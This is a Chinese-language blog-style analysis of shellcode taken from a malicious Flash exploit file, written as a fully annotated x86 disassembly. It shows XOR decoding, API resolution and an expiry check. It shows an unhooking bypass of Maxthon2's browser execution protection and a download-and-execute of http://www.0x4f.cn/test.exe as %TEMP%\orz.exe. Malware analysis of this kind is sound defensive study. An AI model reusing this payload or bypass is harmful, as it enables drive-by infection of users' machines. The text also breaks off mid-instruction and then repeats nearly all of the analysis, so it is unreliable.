【vin KE】 flash漏洞所用shellcode的分析
最近幾天flash漏洞的網馬非常流行,於是我想分析一下shellcode是怎麼跑的。
但是能力所限,還難以像大牛們一樣定位到有漏洞的程式碼及觀察整個溢位過程。於是,我只能做後面一部分工作,即看看那個畸形flash檔案中的shellcode長得什麼樣子,它執行起來會有什麼動作。
我使用的是從網站抓下來的win 9,0,115,0ie.swf。很容易地就在畸形.swf檔案中找到了shellcode的位置,在檔案頭偏移0xEB處開始。之後我將這段shellcode拷貝到一個可執行檔案的入口點開頭處,這樣我就可以在OD裡直接除錯shellcode了。
除錯過程中我發現,由於flash這次的漏洞,真的給了一個很充裕的空間讓編寫者盡情地發揮他們的shellcode編寫才能,我看到了一個比以往任何一個利用ActiveX漏洞的shellcode都要複雜的shellcode。
該shellcode的功能很全面,不但有一般shellcode的xor加密,獲取API地址和執行下載病毒並執行的操作,還有更多的操作使得shellcode更加的強悍而實用。
這些操作包括:
1. shellcode有效時間限制,當發現系統時間遲於shellcode中儲存的一個固定時間時,直接ExitThread。這應該是flash網馬生成器釋出者所做的,可能出於商業考慮,避免別人通過簡單修改病毒URL地址而生成自己的利用檔案。
2. 從kernel32.dll的輸入表中取ZwCreateProcessEx(win2000時為NtCreateProcess)、ZwWriteVirtualMemory的地址,對這兩處地址進行inline hook,hook到自身儲存的相應的原始程式碼中,並對CreateProcessInternalW的前面幾個位元組進行了inline hook的還原。
這些操作都是針對MAXTHON等使用以上API HOOK方式對遊覽器進行執行儲存的措施而出臺的anti方式。雖然這種方法早已被提出,是大家皆知的,但是在以前的網馬應用中,由於可用的緩衝區並不是那麼大,不適於加入這些額外的程式碼,因此我一直沒有看到還原hook過瀏覽器保護方法的實際利用。而在這次,我終於看到了一個實際利用的例子。
3. 使用CreateProcessInternalA進行最後下載到本機的病毒檔案的執行。以前一般的shellcode是用WinExec。
下面是shellcode執行流程的分析,分析基本在註釋當中,標號(1)、(2)……是程式碼的執行流程順序,依照標號便可容易理解整個流程。
首先開始是一次xor解密,每兩個位元組進行異或,而且每次異或的運算元隨著改變。
00407000 > /EB 16 jmp short 00407018 ; (1)F8
00407002 |5B pop ebx ; (3)
00407003 |33C9 xor ecx, ecx
00407005 |66:B8 2245 mov ax, 4522
00407009 |66:31044B xor word ptr [ebx+ecx*2], ax ; xor解密
0040700D |41 inc ecx
0040700E |40 inc eax
0040700F |66:81F9 6201 cmp cx, 162
00407014 ^|7C F3 jl short 00407009 ; (4)迴圈,在下面一句F4
00407016 |EB 05 jmp short 0040701D ; (5)再F8一下,跳入解密後的程式碼
00407018 \E8 E5FFFFFF call 00407002 ; (2)F7
接下來是解密後的實際程式碼
首先是取得kernel32.dll中的API函式地址並填入後面的資料區。這裡使用的是很常用的方法,通過PEB得到kernel32.dll的基址,然後通過遍歷其輸出表,把每一函式名稱字串經過一個加密運算,再將結果與輸入的值比較,進而找到符合的API函式位置。
0040701D E9 65020000 jmp 00407287 ; (6)解密後程式碼開頭,往下跳到最後
00407022 5F pop edi ; (8)定位自身地址,此時為後面資料區地址
00407023 6A 30 push 30
00407025 59 pop ecx
00407026 64:8B01 mov eax, dword ptr fs:[ecx] ; _PEB
00407029 8B98 A8000000 mov ebx, dword ptr [eax+A8] ; _PEB.OSMijorVersion
0040702F 8B40 0C mov eax, dword ptr [eax+C]
00407032 8B70 1C mov esi, dword ptr [eax+1C]
00407035 AD lods dword ptr [esi]
00407036 8B68 08 mov ebp, dword ptr [eax+8] ; (9)kernel32.dll基址入ebp
00407039 8BF7 mov esi, edi
0040703B 81EC 00020000 sub esp, 200
00407041 85DB test ebx, ebx
00407043 75 07 jnz short 0040704C ; (10)判斷是2000的系統還是XP,我這裡是XP,直接跳走
00407045 C746 24 C9525E5>mov dword ptr [esi+24], 535E52C9 ; 如是2000系統,則修改下面的資料,這樣在2000時獲取到的是NtCreateProcess,而在XP則是NtCreateProcessEx
0040704C 6A 09 push 9
0040704E 59 pop ecx
0040704F E8 EE010000 call 00407242 ; (11)這裡F8就可以了,依照資料區開頭的幾個加密結果,遍歷輸出表找函式,把函式地址覆蓋掉原來的加密結果
00407054 ^ E2 F9 loopd short 0040704F ; 迴圈,直接在下面F4
這裡填入的API地址依次為(以此時相對esi的偏移,即下面呼叫時使用的[esi+XX]中的XX為序)
0x00 LoadLibraryA
0x04 GetTempPathA
0x08 DeleteFileA
0x0C CreateProcessInternalA
0x10 ExitThread,
0x14 VirtualProtect
0x18 CreateProcessInternalW
0x1C CompareFileTime
0x20 GetSystemTimeAsFileTime
接著搜尋記憶體得到一個“retn”命令位置(實際上不一定是retn命令),用於後面的anti-debug。
00407056 40 inc eax ; GetSystemTimeAsFileTime
00407057 8038 C3 cmp byte ptr [eax], 0C3
0040705A ^ 75 FA jnz short 00407056 ; (12)迴圈搜尋記憶體特徵,其實是為了借用一個retn程式碼來改變程式流程反除錯
0040705C 8946 30 mov dword ptr [esi+30], eax ; 這裡搜尋到的是7C801881
再接著遍歷kernel32.dll的輸入表,再取兩個NATIVE API函式的地址。
0040705F 6A 02 push 2
00407061 59 pop ecx
00407062 E8 9E010000 call 00407205 ; 再次搜尋輸出表得到函式地址
00407067 ^ E2 F9 loopd short 00407062
這裡取到的地址是(以此時相對esi的偏移,即下面呼叫時使用的[esi+XX]中的XX為序)
0x24 ZwCreateProcessEx(win2000時為NtCreateProcess)
0x28 ZwWriteVirtualMemory
接著是使用LoadLibraryA載入urlmon.dll並取得URLDownloadToFileA函式的地址。值得一提的是這裡不是直接call而是用在子函式裡用先push返回地址再jmp的方式。
00407069 6A 01 push 1
0040706B 59 pop ecx
0040706C 68 6F6E0000 push 6E6F
00407071 68 75726C6D push 6D6C7275
00407076 54 push esp ; 'urlmon'
00407077 8B06 mov eax, dword ptr [esi] ; LoadLibraryA
00407079 E8 10010000 call 0040718E ; (13)一個純為了anti-debug而搞出來的子函式,直接在下一句下斷,再F9就不會跑飛
0040707E 95 xchg eax, ebp ; urlmon.dll基址入ebp
0040707F E8 BE010000 call 00407242 ; (14)又找函式地址並儲存,直接F8,可以看到找到的函式是URLDownloadToFileA
URLDownloadToFileA函式地址被儲存在[esi+2C]
在進入實質工作之前,就是附加的操作。
首先是時間限制的驗證
00407084 68 3D400000 push 403D
00407089 6A FF push -1
0040708B 6A FF push -1
0040708D 3E:DB2C24 fld tbyte ptr ds:[esp]
00407091 50 push eax ; 只是在堆疊騰出FILETIME結構的記憶體空間
00407092 50 push eax
00407093 54 push esp
00407094 FF56 20 call dword ptr [esi+20] ; GetSystemTimeAsFileTime
00407097 8BC4 mov eax, esp
00407099 68 6EC2C801 push 1C8C26E
0040709E 68 00C0B336 push 36B3C000
004070A3 54 push esp
004070A4 50 push eax
004070A5 FF56 1C call dword ptr [esi+1C] ; CompareFileTime
004070A8 48 dec eax
004070A9 75 03 jnz short 004070AE ; (16)系統時間如果晚於設定好的時間,則不跳走
004070AB FF56 10 call dword ptr [esi+10] ; 這樣就直接ExitThread了,也就是這個shellcode的時間限制
我除錯的時候,已經過了允許時間了,所以本來就會直接ExitThread,這時可以自己強行把EIP改到下一句,不讓它退出,繼續除錯。
接下來的部分我認為比較讓我意外,就是我前面提到的,shellcode中自己儲存了NATIVE API的原樣程式碼,在這裡對NATIVE API進行了inline hook,hook到shellcode自帶的原樣程式碼中,以及把CreateProcessInternalW前面的幾個位元組進行了還原,從而破壞了一些軟體的瀏覽器執行保護功能,為自己執行被下載的病毒程式掃清了障礙,這是它優於此前我所見到的漏洞利用shellcode的重要關鍵。
首先是將自身儲存的NATIVE API原樣程式碼拷貝到PEB後面的空間中。
之所以要拷貝到這裡,我想是為了執行的穩定,如果inline hook直接指向shellcode內部,那麼shellcode執行完被清理掉之後,程式再呼叫相應NATIVE API的時候,就會崩潰掉。這裡把程式碼拷進PEB後面的空間,可以保證在shellcode退出後這部分地址仍然能夠正常訪問,程式也還能正常執行(至少看起來是那樣)。
004070AE 6A 30 push 30
004070B0 59 pop ecx
004070B1 64:8B19 mov ebx, dword ptr fs:[ecx]
004070B4 8DAB 00040000 lea ebp, dword ptr [ebx+400] ; (17)在PEB結構後面找到一塊空著的記憶體
004070BA 8B9B A8000000 mov ebx, dword ptr [ebx+A8] ; 再次確定是2000、XP還是2003系統,以在下面選擇不同的跳轉目標
004070C0 8BFD mov edi, ebp
004070C2 56 push esi
004070C3 E9 E0000000 jmp 004071A8 ; (18)跳到下面
004070C8 5E pop esi ; (20)跳回這裡
004070C9 F3:A5 rep movs dword ptr es:[edi], dword ptr [esi] ; 把下面那些摸擬NATIVE API的程式碼拷進這塊記憶體,用於後面inline hook
004070CB 5E pop esi
接著,將“找到的”ZwCreateProcessEx(win2000時為NtCreateProcess)和ZwWriteVirtualMemory的最前面部分,修改為“push XXX,retn”的樣式,以跳到之前拷貝的程式碼中。注意這裡考慮了win2000/XP/2003三種情況。
004070CC 8B7E 24 mov edi, dword ptr [esi+24] ; ZwCreateProcessEx
004070CF E8 25010000 call 004071F9 ; VirtualProtect改函式頭0x20為可讀可寫
004070D4 6A 1A push 1A ; 2003時NtCreateProcessEx對應的原始程式碼偏移
004070D6 6A 0D push 0D ; XP時NtCreateProcessEx對應的原始程式碼偏移
004070D8 6A 00 push 0 ; 2000時NtCreateProcess對應的原始程式碼偏移
004070DA 8BC5 mov eax, ebp
004070DC 03049C add eax, dword ptr [esp+ebx*4] ; 根據版本選擇不同的程式碼(以剛剛壓棧的偏移量確定)
004070DF C607 68 mov byte ptr [edi], 68 ; 程式碼"push……"
004070E2 47 inc edi
004070E3 AB stos dword ptr es:[edi] ; 記憶體中拷貝的程式碼
004070E4 C607 C3 mov byte ptr [edi], 0C3 ; ret……
004070E7 8B7E 28 mov edi, dword ptr [esi+28] ; ZwWriteVirtualMemory
004070EA E8 0A010000 call 004071F9
004070EF 6A 3D push 3D ; 2003中ZwWriteVirtualMemory的原始程式碼偏移,同ZwCreateProcess(Ex)的情況
004070F1 6A 36 push 36
004070F3 6A 27 push 27
004070F5 8BC5 mov eax, ebp
004070F7 03049C add eax, dword ptr [esp+ebx*4]
004070FA C607 68 mov byte ptr [edi], 68
004070FD 47 inc edi
004070FE AB stos dword ptr es:[edi]
004070FF C607 C3 mov byte ptr [edi], 0C3
為什麼我上面特別強調“找到的ZwCreateProcessEx和ZwWriteVirtualMemory的地址處”?
我們千萬不要忘記,這個做法是針對某些軟體的,衝著哪個軟體?
我想到了MAXTHON2。
搜尋一下關於MAXTHON2的瀏覽器執行保護的文章,很早的文章顯示,MAXTHON2正是對ZwCreateProcessEx和ZwWriteVirtualMemory進行了IAT HOOK。
而現在呢,shellcode從kernel32.dll的輸入表中取ZwCreateProcessEx和ZwWriteVirtualMemory的地址,這意味著什麼?
我大膽假設,當MAXTHON2遊覽漏洞利用網頁的時候,shellcode的執行環境就在其程式中,那麼,這時shellcode從kernel32.dll的輸入表中取到的地址,正是被MAXTHON2給hook掉的結果,直接到了MAXTHON2的dll裡面去了。
這是shellcode作者有意而為之,因為接著它對這兩個地址的程式碼進行了inline hook,又實際上轉回了原始的程式碼。
這樣MAXTHON2就在完全沒有察覺自己的IAT HOOK失效(本來就沒有失效)的情況下,其執行保護被繞過了。
接下來的動作進一步證實了這一點,對CreateProcessInternalW開頭的程式碼進行還原,這豈不是又正針對MAXTHON2對CreateProcessInternalW的inlline hook?!
00407102 8B7E 18 mov edi, dword ptr [esi+18] ; CreateProcessInternalW
00407105 E8 EF000000 call 004071F9
0040710A 68 68080A00 push 0A0868
0040710F 68 68080A00 push 0A0868
00407114 68 558BEC6A push 6AEC8B55
00407119 8B049C mov eax, dword ptr [esp+ebx*4]
0040711C AB stos dword ptr es:[edi] ; 還原前面的幾個位元組,還原inline hook
0040711D 33C0 xor eax, eax
0040711F 50 push eax
00407120 50 push eax
00407121 6A FF push -1
00407123 8B049C mov eax, dword ptr [esp+ebx*4]
00407126 AA stos byte ptr es:[edi]
做完了這些操作,shellcode最後終於進入自己的實質性工作了。
首先,得到Temp資料夾地址,並在後面加入“orz.exe”,作為病毒檔案的本地地址
00407127 8DBE 33010000 lea edi, dword ptr [esi+133]
0040712D 57 push edi
0040712E 68 FF000000 push 0FF
00407133 FF56 04 call dword ptr [esi+4] ; GetTempPathA
00407136 03C7 add eax, edi
00407138 C700 6F727A2E mov dword ptr [eax], 2E7A726F ; 往得到的temp資料夾路徑後面加入檔名
0040713E C740 04 6578650>mov dword ptr [eax+4], 657865 ; 加入的檔名為"orz.exe"
為保險,先嚐試把這個路徑的檔案刪除。
00407145 57 push edi
00407146 FF56 08 call dword ptr [esi+8] ; DeleteFileA
然後直接呼叫URLDownloadToFileA,從遠端地址http://www.0x4f.cn/test.exe下載病毒檔案到orz.exe
00407149 33DB xor ebx, ebx
0040714B 53 push ebx
0040714C 53 push ebx
0040714D 57 push edi
0040714E 8D46 34 lea eax, dword ptr [esi+34] ; URL地址,"http://www.0x4f.cn/test.exe"
00407151 50 push eax
00407152 53 push ebx
00407153 FF56 2C call dword ptr [esi+2C] ; URLDownloadToFileA
最後,shellcode執行所下載的檔案,注意它使用了CreateProcessInternalA來進行。由於前面已經清除了對CreateProcessInternalW和ZwCreateProcessEx以及ZwWriterVirtualMemory的保護,病毒作者堅信此時使用CreateProcessInternalA有非常大的可能可以成功。
00407156 33C0 xor eax, eax
00407158 8BFC mov edi, esp
0040715A 6A 12 push 12
0040715C 59 pop ecx
0040715D AB stos dword ptr es:[edi]
0040715E ^ E2 FD loopd short 0040715D ; 迴圈,在堆疊中清出一塊全0的空間
00407160 66:C74424 3C 01>mov word ptr [esp+3C], 101
00407167 8BFC mov edi, esp
00407169 8D47 10 lea eax, dword ptr [edi+10]
0040716C 51 push ecx
0040716D 57 push edi
0040716E 50 push eax
0040716F 51 push ecx
00407170 51 push ecx
00407171 51 push ecx
00407172 51 push ecx
00407173 51 push ecx
00407174 51 push ecx
00407175 51 push ecx
00407176 8D96 33010000 lea edx, dword ptr [esi+133] ; 本地地址orz.exe
0040717C 52 push edx
0040717D 51 push ecx
0040717E FF56 0C call dword ptr [esi+C] ; CreateProcessInternalA
00407181 81C4 54020000 add esp, 254
00407187 61 popad
00407188 FF71 EC push dword ptr [ecx-14] ; 這裡應該會跳回原來溢位的位置,讓程式正常執行下去
0040718B C2 0400 retn 4
下面是前面的程式碼呼叫到的子函式及資料。
首先是摸擬call的函式
0040718E 8B56 30 mov edx, dword ptr [esi+30] ; (14)
00407191 41 inc ecx
00407192 5B pop ebx
00407193 52 push edx
00407194 03E1 add esp, ecx
00407196 03E1 add esp, ecx
00407198 03E1 add esp, ecx
0040719A 03E1 add esp, ecx
0040719C 83EC 04 sub esp, 4
0040719F 5A pop edx
004071A0 53 push ebx
004071A1 8BDA mov ebx, edx
004071A3 ^ E2 F7 loopd short 0040719C
004071A5 52 push edx ; 返回地址入棧,這裡剛好是一個retn命令
004071A6 FFE0 jmp eax ; jmp進API函式開頭
接著是中間一個為了重定位所做的回call:
004071A8 E8 1BFFFFFF call 004070C8 ; (19)再一次為了重定位而跳回,這裡必須F7
再接著是被拷貝的NATIVE API原始程式碼:
004071AD 6A 29 push 29 ; win2000中NtCreateProcess
004071AF 58 pop eax
004071B0 36:8D5424 04 lea edx, dword ptr [esp+4]
004071B5 CD 2E int 2E
004071B7 C2 2000 retn 20
004071BA 6A 30 push 30 ; XP中ZwCreateProcessEx
004071BC 58 pop eax
004071BD BA 0003FE7F mov edx, 7FFE0300
004071C2 FF12 call dword ptr [edx]
004071C4 C2 2000 retn 20
004071C7 6A 32 push 32 ; win2003中ZwCreateProcessEx
004071C9 58 pop eax
004071CA BA 0003FE7F mov edx, 7FFE0300
004071CF FF12 call &
但是能力所限,還難以像大牛們一樣定位到有漏洞的程式碼及觀察整個溢位過程。於是,我只能做後面一部分工作,即看看那個畸形flash檔案中的shellcode長得什麼樣子,它執行起來會有什麼動作。
我使用的是從網站抓下來的win 9,0,115,0ie.swf。很容易地就在畸形.swf檔案中找到了shellcode的位置,在檔案頭偏移0xEB處開始。之後我將這段shellcode拷貝到一個可執行檔案的入口點開頭處,這樣我就可以在OD裡直接除錯shellcode了。
除錯過程中我發現,由於flash這次的漏洞,真的給了一個很充裕的空間讓編寫者盡情地發揮他們的shellcode編寫才能,我看到了一個比以往任何一個利用ActiveX漏洞的shellcode都要複雜的shellcode。
該shellcode的功能很全面,不但有一般shellcode的xor加密,獲取API地址和執行下載病毒並執行的操作,還有更多的操作使得shellcode更加的強悍而實用。
這些操作包括:
1. shellcode有效時間限制,當發現系統時間遲於shellcode中儲存的一個固定時間時,直接ExitThread。這應該是flash網馬生成器釋出者所做的,可能出於商業考慮,避免別人通過簡單修改病毒URL地址而生成自己的利用檔案。
2. 從kernel32.dll的輸入表中取ZwCreateProcessEx(win2000時為NtCreateProcess)、ZwWriteVirtualMemory的地址,對這兩處地址進行inline hook,hook到自身儲存的相應的原始程式碼中,並對CreateProcessInternalW的前面幾個位元組進行了inline hook的還原。
這些操作都是針對MAXTHON等使用以上API HOOK方式對遊覽器進行執行儲存的措施而出臺的anti方式。雖然這種方法早已被提出,是大家皆知的,但是在以前的網馬應用中,由於可用的緩衝區並不是那麼大,不適於加入這些額外的程式碼,因此我一直沒有看到還原hook過瀏覽器保護方法的實際利用。而在這次,我終於看到了一個實際利用的例子。
3. 使用CreateProcessInternalA進行最後下載到本機的病毒檔案的執行。以前一般的shellcode是用WinExec。
下面是shellcode執行流程的分析,分析基本在註釋當中,標號(1)、(2)……是程式碼的執行流程順序,依照標號便可容易理解整個流程。
首先開始是一次xor解密,每兩個位元組進行異或,而且每次異或的運算元隨著改變。
00407000 > /EB 16 jmp short 00407018 ; (1)F8
00407002 |5B pop ebx ; (3)
00407003 |33C9 xor ecx, ecx
00407005 |66:B8 2245 mov ax, 4522
00407009 |66:31044B xor word ptr [ebx+ecx*2], ax ; xor解密
0040700D |41 inc ecx
0040700E |40 inc eax
0040700F |66:81F9 6201 cmp cx, 162
00407014 ^|7C F3 jl short 00407009 ; (4)迴圈,在下面一句F4
00407016 |EB 05 jmp short 0040701D ; (5)再F8一下,跳入解密後的程式碼
00407018 \E8 E5FFFFFF call 00407002 ; (2)F7
接下來是解密後的實際程式碼
首先是取得kernel32.dll中的API函式地址並填入後面的資料區。這裡使用的是很常用的方法,通過PEB得到kernel32.dll的基址,然後通過遍歷其輸出表,把每一函式名稱字串經過一個加密運算,再將結果與輸入的值比較,進而找到符合的API函式位置。
0040701D E9 65020000 jmp 00407287 ; (6)解密後程式碼開頭,往下跳到最後
00407022 5F pop edi ; (8)定位自身地址,此時為後面資料區地址
00407023 6A 30 push 30
00407025 59 pop ecx
00407026 64:8B01 mov eax, dword ptr fs:[ecx] ; _PEB
00407029 8B98 A8000000 mov ebx, dword ptr [eax+A8] ; _PEB.OSMijorVersion
0040702F 8B40 0C mov eax, dword ptr [eax+C]
00407032 8B70 1C mov esi, dword ptr [eax+1C]
00407035 AD lods dword ptr [esi]
00407036 8B68 08 mov ebp, dword ptr [eax+8] ; (9)kernel32.dll基址入ebp
00407039 8BF7 mov esi, edi
0040703B 81EC 00020000 sub esp, 200
00407041 85DB test ebx, ebx
00407043 75 07 jnz short 0040704C ; (10)判斷是2000的系統還是XP,我這裡是XP,直接跳走
00407045 C746 24 C9525E5>mov dword ptr [esi+24], 535E52C9 ; 如是2000系統,則修改下面的資料,這樣在2000時獲取到的是NtCreateProcess,而在XP則是NtCreateProcessEx
0040704C 6A 09 push 9
0040704E 59 pop ecx
0040704F E8 EE010000 call 00407242 ; (11)這裡F8就可以了,依照資料區開頭的幾個加密結果,遍歷輸出表找函式,把函式地址覆蓋掉原來的加密結果
00407054 ^ E2 F9 loopd short 0040704F ; 迴圈,直接在下面F4
這裡填入的API地址依次為(以此時相對esi的偏移,即下面呼叫時使用的[esi+XX]中的XX為序)
0x00 LoadLibraryA
0x04 GetTempPathA
0x08 DeleteFileA
0x0C CreateProcessInternalA
0x10 ExitThread,
0x14 VirtualProtect
0x18 CreateProcessInternalW
0x1C CompareFileTime
0x20 GetSystemTimeAsFileTime
接著搜尋記憶體得到一個“retn”命令位置(實際上不一定是retn命令),用於後面的anti-debug。
00407056 40 inc eax ; GetSystemTimeAsFileTime
00407057 8038 C3 cmp byte ptr [eax], 0C3
0040705A ^ 75 FA jnz short 00407056 ; (12)迴圈搜尋記憶體特徵,其實是為了借用一個retn程式碼來改變程式流程反除錯
0040705C 8946 30 mov dword ptr [esi+30], eax ; 這裡搜尋到的是7C801881
再接著遍歷kernel32.dll的輸入表,再取兩個NATIVE API函式的地址。
0040705F 6A 02 push 2
00407061 59 pop ecx
00407062 E8 9E010000 call 00407205 ; 再次搜尋輸出表得到函式地址
00407067 ^ E2 F9 loopd short 00407062
這裡取到的地址是(以此時相對esi的偏移,即下面呼叫時使用的[esi+XX]中的XX為序)
0x24 ZwCreateProcessEx(win2000時為NtCreateProcess)
0x28 ZwWriteVirtualMemory
接著是使用LoadLibraryA載入urlmon.dll並取得URLDownloadToFileA函式的地址。值得一提的是這裡不是直接call而是用在子函式裡用先push返回地址再jmp的方式。
00407069 6A 01 push 1
0040706B 59 pop ecx
0040706C 68 6F6E0000 push 6E6F
00407071 68 75726C6D push 6D6C7275
00407076 54 push esp ; 'urlmon'
00407077 8B06 mov eax, dword ptr [esi] ; LoadLibraryA
00407079 E8 10010000 call 0040718E ; (13)一個純為了anti-debug而搞出來的子函式,直接在下一句下斷,再F9就不會跑飛
0040707E 95 xchg eax, ebp ; urlmon.dll基址入ebp
0040707F E8 BE010000 call 00407242 ; (14)又找函式地址並儲存,直接F8,可以看到找到的函式是URLDownloadToFileA
URLDownloadToFileA函式地址被儲存在[esi+2C]
在進入實質工作之前,就是附加的操作。
首先是時間限制的驗證
00407084 68 3D400000 push 403D
00407089 6A FF push -1
0040708B 6A FF push -1
0040708D 3E:DB2C24 fld tbyte ptr ds:[esp]
00407091 50 push eax ; 只是在堆疊騰出FILETIME結構的記憶體空間
00407092 50 push eax
00407093 54 push esp
00407094 FF56 20 call dword ptr [esi+20] ; GetSystemTimeAsFileTime
00407097 8BC4 mov eax, esp
00407099 68 6EC2C801 push 1C8C26E
0040709E 68 00C0B336 push 36B3C000
004070A3 54 push esp
004070A4 50 push eax
004070A5 FF56 1C call dword ptr [esi+1C] ; CompareFileTime
004070A8 48 dec eax
004070A9 75 03 jnz short 004070AE ; (16)系統時間如果晚於設定好的時間,則不跳走
004070AB FF56 10 call dword ptr [esi+10] ; 這樣就直接ExitThread了,也就是這個shellcode的時間限制
我除錯的時候,已經過了允許時間了,所以本來就會直接ExitThread,這時可以自己強行把EIP改到下一句,不讓它退出,繼續除錯。
接下來的部分我認為比較讓我意外,就是我前面提到的,shellcode中自己儲存了NATIVE API的原樣程式碼,在這裡對NATIVE API進行了inline hook,hook到shellcode自帶的原樣程式碼中,以及把CreateProcessInternalW前面的幾個位元組進行了還原,從而破壞了一些軟體的瀏覽器執行保護功能,為自己執行被下載的病毒程式掃清了障礙,這是它優於此前我所見到的漏洞利用shellcode的重要關鍵。
首先是將自身儲存的NATIVE API原樣程式碼拷貝到PEB後面的空間中。
之所以要拷貝到這裡,我想是為了執行的穩定,如果inline hook直接指向shellcode內部,那麼shellcode執行完被清理掉之後,程式再呼叫相應NATIVE API的時候,就會崩潰掉。這裡把程式碼拷進PEB後面的空間,可以保證在shellcode退出後這部分地址仍然能夠正常訪問,程式也還能正常執行(至少看起來是那樣)。
004070AE 6A 30 push 30
004070B0 59 pop ecx
004070B1 64:8B19 mov ebx, dword ptr fs:[ecx]
004070B4 8DAB 00040000 lea ebp, dword ptr [ebx+400] ; (17)在PEB結構後面找到一塊空著的記憶體
004070BA 8B9B A8000000 mov ebx, dword ptr [ebx+A8] ; 再次確定是2000、XP還是2003系統,以在下面選擇不同的跳轉目標
004070C0 8BFD mov edi, ebp
004070C2 56 push esi
004070C3 E9 E0000000 jmp 004071A8 ; (18)跳到下面
004070C8 5E pop esi ; (20)跳回這裡
004070C9 F3:A5 rep movs dword ptr es:[edi], dword ptr [esi] ; 把下面那些摸擬NATIVE API的程式碼拷進這塊記憶體,用於後面inline hook
004070CB 5E pop esi
接著,將“找到的”ZwCreateProcessEx(win2000時為NtCreateProcess)和ZwWriteVirtualMemory的最前面部分,修改為“push XXX,retn”的樣式,以跳到之前拷貝的程式碼中。注意這裡考慮了win2000/XP/2003三種情況。
004070CC 8B7E 24 mov edi, dword ptr [esi+24] ; ZwCreateProcessEx
004070CF E8 25010000 call 004071F9 ; VirtualProtect改函式頭0x20為可讀可寫
004070D4 6A 1A push 1A ; 2003時NtCreateProcessEx對應的原始程式碼偏移
004070D6 6A 0D push 0D ; XP時NtCreateProcessEx對應的原始程式碼偏移
004070D8 6A 00 push 0 ; 2000時NtCreateProcess對應的原始程式碼偏移
004070DA 8BC5 mov eax, ebp
004070DC 03049C add eax, dword ptr [esp+ebx*4] ; 根據版本選擇不同的程式碼(以剛剛壓棧的偏移量確定)
004070DF C607 68 mov byte ptr [edi], 68 ; 程式碼"push……"
004070E2 47 inc edi
004070E3 AB stos dword ptr es:[edi] ; 記憶體中拷貝的程式碼
004070E4 C607 C3 mov byte ptr [edi], 0C3 ; ret……
004070E7 8B7E 28 mov edi, dword ptr [esi+28] ; ZwWriteVirtualMemory
004070EA E8 0A010000 call 004071F9
004070EF 6A 3D push 3D ; 2003中ZwWriteVirtualMemory的原始程式碼偏移,同ZwCreateProcess(Ex)的情況
004070F1 6A 36 push 36
004070F3 6A 27 push 27
004070F5 8BC5 mov eax, ebp
004070F7 03049C add eax, dword ptr [esp+ebx*4]
004070FA C607 68 mov byte ptr [edi], 68
004070FD 47 inc edi
004070FE AB stos dword ptr es:[edi]
004070FF C607 C3 mov byte ptr [edi], 0C3
為什麼我上面特別強調“找到的ZwCreateProcessEx和ZwWriteVirtualMemory的地址處”?
我們千萬不要忘記,這個做法是針對某些軟體的,衝著哪個軟體?
我想到了MAXTHON2。
搜尋一下關於MAXTHON2的瀏覽器執行保護的文章,很早的文章顯示,MAXTHON2正是對ZwCreateProcessEx和ZwWriteVirtualMemory進行了IAT HOOK。
而現在呢,shellcode從kernel32.dll的輸入表中取ZwCreateProcessEx和ZwWriteVirtualMemory的地址,這意味著什麼?
我大膽假設,當MAXTHON2遊覽漏洞利用網頁的時候,shellcode的執行環境就在其程式中,那麼,這時shellcode從kernel32.dll的輸入表中取到的地址,正是被MAXTHON2給hook掉的結果,直接到了MAXTHON2的dll裡面去了。
這是shellcode作者有意而為之,因為接著它對這兩個地址的程式碼進行了inline hook,又實際上轉回了原始的程式碼。
這樣MAXTHON2就在完全沒有察覺自己的IAT HOOK失效(本來就沒有失效)的情況下,其執行保護被繞過了。
接下來的動作進一步證實了這一點,對CreateProcessInternalW開頭的程式碼進行還原,這豈不是又正針對MAXTHON2對CreateProcessInternalW的inlline hook?!
00407102 8B7E 18 mov edi, dword ptr [esi+18] ; CreateProcessInternalW
00407105 E8 EF000000 call 004071F9
0040710A 68 68080A00 push 0A0868
0040710F 68 68080A00 push 0A0868
00407114 68 558BEC6A push 6AEC8B55
00407119 8B049C mov eax, dword ptr [esp+ebx*4]
0040711C AB stos dword ptr es:[edi] ; 還原前面的幾個位元組,還原inline hook
0040711D 33C0 xor eax, eax
0040711F 50 push eax
00407120 50 push eax
00407121 6A FF push -1
00407123 8B049C mov eax, dword ptr [esp+ebx*4]
00407126 AA stos byte ptr es:[edi]
做完了這些操作,shellcode最後終於進入自己的實質性工作了。
首先,得到Temp資料夾地址,並在後面加入“orz.exe”,作為病毒檔案的本地地址
00407127 8DBE 33010000 lea edi, dword ptr [esi+133]
0040712D 57 push edi
0040712E 68 FF000000 push 0FF
00407133 FF56 04 call dword ptr [esi+4] ; GetTempPathA
00407136 03C7 add eax, edi
00407138 C700 6F727A2E mov dword ptr [eax], 2E7A726F ; 往得到的temp資料夾路徑後面加入檔名
0040713E C740 04 6578650>mov dword ptr [eax+4], 657865 ; 加入的檔名為"orz.exe"
為保險,先嚐試把這個路徑的檔案刪除。
00407145 57 push edi
00407146 FF56 08 call dword ptr [esi+8] ; DeleteFileA
然後直接呼叫URLDownloadToFileA,從遠端地址http://www.0x4f.cn/test.exe下載病毒檔案到orz.exe
00407149 33DB xor ebx, ebx
0040714B 53 push ebx
0040714C 53 push ebx
0040714D 57 push edi
0040714E 8D46 34 lea eax, dword ptr [esi+34] ; URL地址,"http://www.0x4f.cn/test.exe"
00407151 50 push eax
00407152 53 push ebx
00407153 FF56 2C call dword ptr [esi+2C] ; URLDownloadToFileA
最後,shellcode執行所下載的檔案,注意它使用了CreateProcessInternalA來進行。由於前面已經清除了對CreateProcessInternalW和ZwCreateProcessEx以及ZwWriterVirtualMemory的保護,病毒作者堅信此時使用CreateProcessInternalA有非常大的可能可以成功。
00407156 33C0 xor eax, eax
00407158 8BFC mov edi, esp
0040715A 6A 12 push 12
0040715C 59 pop ecx
0040715D AB stos dword ptr es:[edi]
0040715E ^ E2 FD loopd short 0040715D ; 迴圈,在堆疊中清出一塊全0的空間
00407160 66:C74424 3C 01>mov word ptr [esp+3C], 101
00407167 8BFC mov edi, esp
00407169 8D47 10 lea eax, dword ptr [edi+10]
0040716C 51 push ecx
0040716D 57 push edi
0040716E 50 push eax
0040716F 51 push ecx
00407170 51 push ecx
00407171 51 push ecx
00407172 51 push ecx
00407173 51 push ecx
00407174 51 push ecx
00407175 51 push ecx
00407176 8D96 33010000 lea edx, dword ptr [esi+133] ; 本地地址orz.exe
0040717C 52 push edx
0040717D 51 push ecx
0040717E FF56 0C call dword ptr [esi+C] ; CreateProcessInternalA
00407181 81C4 54020000 add esp, 254
00407187 61 popad
00407188 FF71 EC push dword ptr [ecx-14] ; 這裡應該會跳回原來溢位的位置,讓程式正常執行下去
